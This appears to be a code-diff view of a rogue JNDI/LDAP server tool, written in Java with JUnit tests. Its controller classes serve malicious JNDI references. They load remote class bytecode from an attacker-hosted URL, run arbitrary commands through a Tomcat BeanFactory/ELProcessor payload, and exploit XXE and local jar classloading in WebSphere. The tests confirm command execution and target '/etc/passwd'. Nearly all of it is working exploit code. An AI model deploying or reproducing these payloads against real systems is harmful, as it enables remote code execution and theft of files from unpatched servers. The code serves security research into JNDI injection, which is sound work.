import artsploit.annotations.LdapMapping; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
import com.unboundid.ldap.sdk.Entry; |
||||||
|
import com.unboundid.ldap.sdk.LDAPResult; |
||||||
|
import com.unboundid.ldap.sdk.ResultCode; |
||||||
|
|
||||||
|
/** |
||||||
|
* Classic JNDI attack. The server responds with a reference object. |
||||||
|
* When the reference is unpacked on the server side, if "javaFactory" class name is unknown for the server, |
||||||
|
* its bytecode is loaded and executed from "http://hostname/xExportObject.class" |
||||||
|
* |
||||||
|
* Yields: |
||||||
|
* RCE via remote classloading. |
||||||
|
* |
||||||
|
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
|
||||||
|
* |
||||||
|
* Requires: |
||||||
|
* - java <8u191 |
||||||
|
* |
||||||
|
* @author artsploit |
||||||
|
*/ |
||||||
|
@LdapMapping(uri = { "/", "/o=reference" }) |
||||||
|
public class RemoteReference implements LdapController { |
||||||
|
|
||||||
|
private String classloaderUrl = "http://" + Config.hostname + ":" + Config.httpPort + "/"; |
||||||
|
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||||
|
Entry e = new Entry(base); |
||||||
|
System.out.println("Sending LDAP reference result for " + classloaderUrl); |
||||||
|
e.addAttribute("objectClass", "javaNamingReference"); |
||||||
|
e.addAttribute("javaClassName", "xUnknown"); //could be any unknown
|
||||||
|
e.addAttribute("javaFactory", "xExportObject"); //could be any unknown
|
||||||
|
e.addAttribute("javaCodeBase", classloaderUrl); |
||||||
|
result.sendSearchEntry(e); |
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,57 @@ |
|||||||
|
package artsploit.controllers; |
||||||
|
|
||||||
|
import artsploit.Config; |
||||||
|
import artsploit.annotations.LdapMapping; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
import com.unboundid.ldap.sdk.Entry; |
||||||
|
import com.unboundid.ldap.sdk.LDAPResult; |
||||||
|
import com.unboundid.ldap.sdk.ResultCode; |
||||||
|
import org.apache.naming.ResourceRef; |
||||||
|
|
||||||
|
import javax.naming.StringRefAddr; |
||||||
|
|
||||||
|
import static artsploit.Utilities.makeJavaScriptString; |
||||||
|
import static artsploit.Utilities.serialize; |
||||||
|
|
||||||
|
/** |
||||||
|
* Yields: |
||||||
|
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory} |
||||||
|
* When bean is created on the server side, we can control its class name and setter methods, |
||||||
|
* so we can leverage {@link javax.el.ELProcessor#eval} method to execute arbitrary Java code via EL evaluation |
||||||
|
* |
||||||
|
* @see https://www.veracode.com/blog/research/exploiting-jndi-injections-java for details
|
||||||
|
* |
||||||
|
* Requires: |
||||||
|
* - tomcat-embed-core.jar |
||||||
|
* - tomcat-embed-el.jar |
||||||
|
* |
||||||
|
* @author artsploit |
||||||
|
*/ |
||||||
|
@LdapMapping(uri = { "/o=tomcat" }) |
||||||
|
public class Tomcat implements LdapController { |
||||||
|
|
||||||
|
String payload = ("{" + |
||||||
|
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + |
||||||
|
".newInstance().getEngineByName(\"JavaScript\")" + |
||||||
|
".eval(\"java.lang.Runtime.getRuntime().exec(${command})\")" + |
||||||
|
"}") |
||||||
|
.replace("${command}", makeJavaScriptString(Config.command)); |
||||||
|
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||||
|
|
||||||
|
System.out.println("Sending LDAP ResourceRef result for " + base + " with javax.el.ELProcessor payload"); |
||||||
|
|
||||||
|
Entry e = new Entry(base); |
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
|
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
|
||||||
|
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", |
||||||
|
true, "org.apache.naming.factory.BeanFactory", null); |
||||||
|
ref.add(new StringRefAddr("forceString", "x=eval")); |
||||||
|
ref.add(new StringRefAddr("x", payload)); |
||||||
|
e.addAttribute("javaSerializedData", serialize(ref)); |
||||||
|
|
||||||
|
result.sendSearchEntry(e); |
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,57 @@ |
|||||||
|
package artsploit.controllers; |
||||||
|
|
||||||
|
import artsploit.Config; |
||||||
|
import artsploit.Utilities; |
||||||
|
import artsploit.annotations.LdapMapping; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
import com.unboundid.ldap.sdk.Entry; |
||||||
|
import com.unboundid.ldap.sdk.LDAPResult; |
||||||
|
import com.unboundid.ldap.sdk.ResultCode; |
||||||
|
|
||||||
|
import javax.naming.Reference; |
||||||
|
import javax.naming.StringRefAddr; |
||||||
|
|
||||||
|
import static artsploit.Utilities.serialize; |
||||||
|
|
||||||
|
/** |
||||||
|
* WebSphere1 attack leverages {@link com.ibm.ws.webservices.engine.client.ServiceFactory} |
||||||
|
* to download and parse WSDL files from arbitrary locations |
||||||
|
* |
||||||
|
* Yields: |
||||||
|
* OOB XXE in WSDL parsing with the ability to read some files from local disk or list directories |
||||||
|
* Could also be used to upload files in the temporary folder for {@link WebSphere2} |
||||||
|
* @see artsploit.HttpServer for example of malicious WSDL payloads |
||||||
|
* |
||||||
|
* Requires: |
||||||
|
* - websphere v6-9 libraries in the classpath |
||||||
|
* |
||||||
|
* @author artsploit |
||||||
|
*/ |
||||||
|
@LdapMapping(uri = { "/o=websphere1", "/o=websphere1,wsdl=*" }) |
||||||
|
public class WebSphere1 implements LdapController { |
||||||
|
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||||
|
|
||||||
|
//get wsdl location from the url parameter
|
||||||
|
String wsdl = Utilities.getDnParam(result.getRequest().getBaseDN(), "wsdl"); |
||||||
|
if(wsdl == null) |
||||||
|
wsdl = "http://" + Config.hostname + ":" + Config.httpPort + Config.wsdl; //get from config if not specified
|
||||||
|
|
||||||
|
System.out.println("Sending Websphere1 payload pointing to " + wsdl); |
||||||
|
|
||||||
|
Entry e = new Entry(base); |
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
|
//prepare payload that exploits XXE in com.ibm.ws.webservices.engine.client.ServiceFactory
|
||||||
|
javax.naming.Reference ref = new Reference("ExploitObject", |
||||||
|
"com.ibm.ws.webservices.engine.client.ServiceFactory", null); |
||||||
|
ref.add(new StringRefAddr("WSDL location", wsdl)); |
||||||
|
ref.add(new StringRefAddr("service namespace","xxx")); |
||||||
|
ref.add(new StringRefAddr("service local part","yyy")); |
||||||
|
|
||||||
|
e.addAttribute("javaSerializedData", serialize(ref)); |
||||||
|
|
||||||
|
result.sendSearchEntry(e); |
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,59 @@ |
|||||||
|
package artsploit.controllers; |
||||||
|
|
||||||
|
import artsploit.Config; |
||||||
|
import artsploit.Utilities; |
||||||
|
import artsploit.annotations.LdapMapping; |
||||||
|
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; |
||||||
|
import com.unboundid.ldap.sdk.Entry; |
||||||
|
import com.unboundid.ldap.sdk.LDAPResult; |
||||||
|
import com.unboundid.ldap.sdk.ResultCode; |
||||||
|
|
||||||
|
import javax.naming.Reference; |
||||||
|
|
||||||
|
import java.util.Properties; |
||||||
|
|
||||||
|
import static artsploit.Utilities.serialize; |
||||||
|
|
||||||
|
/** |
||||||
|
* WebSphere2 attack leverages {@link com.ibm.ws.client.applicationclient.ClientJ2CCFFactory} |
||||||
|
* to load an arbitrary Bean class with the ability to add any local jar to the classpath |
||||||
|
* |
||||||
|
* Yields: |
||||||
|
* loading and executing any local jar file via classpath manipulation |
||||||
|
* Since we can upload any jar file into /temp folder via XXE in {@link WebSphere1}, this attack could lead to a full RCE |
||||||
|
* @see artsploit.HttpServer for a set of malicious WSDL payloads |
||||||
|
* |
||||||
|
* Requires: |
||||||
|
* - websphere v6-9 libraries in the classpath |
||||||
|
* |
||||||
|
* @author artsploit |
||||||
|
*/ |
||||||
|
@LdapMapping(uri = { "/o=websphere2", "/o=websphere2,jar=*" }) |
||||||
|
public class WebSphere2 implements LdapController { |
||||||
|
|
||||||
|
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { |
||||||
|
|
||||||
|
//get localJar from the url parameter
|
||||||
|
String localJar = Utilities.getDnParam(result.getRequest().getBaseDN(), "jar"); |
||||||
|
if(localJar == null) |
||||||
|
localJar = Config.localjar; //get from config if not specified
|
||||||
|
|
||||||
|
System.out.println("Sending Websphere2 payload pointing to " + localJar); |
||||||
|
|
||||||
|
Entry e = new Entry(base); |
||||||
|
e.addAttribute("javaClassName", "java.lang.String"); //could be any
|
||||||
|
|
||||||
|
//prepare a payload that leverages arbitrary local classloading in com.ibm.ws.client.applicationclient.ClientJMSFactory
|
||||||
|
Reference ref = new Reference("ExportObject", |
||||||
|
"com.ibm.ws.client.applicationclient.ClientJ2CCFFactory", null); |
||||||
|
Properties refProps = new Properties(); |
||||||
|
refProps.put("com.ibm.ws.client.classpath", localJar); |
||||||
|
refProps.put("com.ibm.ws.client.classname", "xExportObject"); |
||||||
|
ref.add(new com.ibm.websphere.client.factory.jdbc.PropertiesRefAddr("JMSProperties", refProps)); |
||||||
|
|
||||||
|
e.addAttribute("javaSerializedData", serialize(ref)); |
||||||
|
|
||||||
|
result.sendSearchEntry(e); |
||||||
|
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,54 @@ |
|||||||
|
import artsploit.Config; |
||||||
|
import artsploit.RogueJndi; |
||||||
|
import org.junit.BeforeClass; |
||||||
|
import org.junit.Ignore; |
||||||
|
import org.junit.Test; |
||||||
|
|
||||||
|
import javax.naming.InitialContext; |
||||||
|
|
||||||
|
/** |
||||||
|
* Main testing class
|
||||||
|
* @author artsploit |
||||||
|
*/ |
||||||
|
public class RogueJndiTest { |
||||||
|
|
||||||
|
@BeforeClass |
||||||
|
public static void setup() throws Exception { |
||||||
|
//modify testing ldap and http ports to not interfere with the non-testing one
|
||||||
|
Config.hostname = "127.0.0.1"; |
||||||
|
Config.ldapPort = 1390; |
||||||
|
Config.httpPort = 8001; |
||||||
|
Config.command = "whoami"; |
||||||
|
RogueJndi.main(new String[0]); |
||||||
|
} |
||||||
|
|
||||||
|
@Test |
||||||
|
public void reference() throws Exception { |
||||||
|
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true"); |
||||||
|
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=reference"); |
||||||
|
} |
||||||
|
|
||||||
|
@Test |
||||||
|
public void tomcat() throws Exception { |
||||||
|
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=tomcat"); |
||||||
|
} |
||||||
|
|
||||||
|
@Ignore |
||||||
|
@Test |
||||||
|
public void websphere1() throws Exception { |
||||||
|
testLookup("ldap://" + Config.hostname + ":" + Config.ldapPort + "/o=was2,file=../../../etc/passwd"); |
||||||
|
} |
||||||
|
|
||||||
|
private void testLookup(String name) throws Exception { |
||||||
|
TestingSecurityManager sm = new TestingSecurityManager(); |
||||||
|
try { |
||||||
|
System.setSecurityManager(sm); |
||||||
|
new InitialContext().lookup(name); |
||||||
|
} catch (Exception e) { |
||||||
|
e.printStackTrace(); |
||||||
|
} |
||||||
|
|
||||||
|
System.setSecurityManager(null); |
||||||
|
sm.assertExec(); |
||||||
|
} |
||||||
|
} |
@ -0,0 +1,22 @@ |
|||||||
|
import java.security.Permission; |
||||||
|
|
||||||
|
public class TestingSecurityManager extends SecurityManager { |
||||||
|
|
||||||
|
String executed; |
||||||
|
|
||||||
|
@Override |
||||||
|
public void checkExec (String cmd) { |
||||||
|
executed = cmd; |
||||||
|
System.out.println("Executed: " + cmd); |
||||||
|
} |
||||||
|
|
||||||
|
@Override |
||||||
|
public void checkPermission (Permission perm) { |
||||||
|
//allow everything
|
||||||
|
} |
||||||
|
|
||||||
|
void assertExec() throws Exception { |
||||||
|
if (executed == null) |
||||||
|
throw new Exception("Runtime.exec() is not executed!"); |
||||||
|
} |
||||||
|
} |
Loading…
Reference in new issue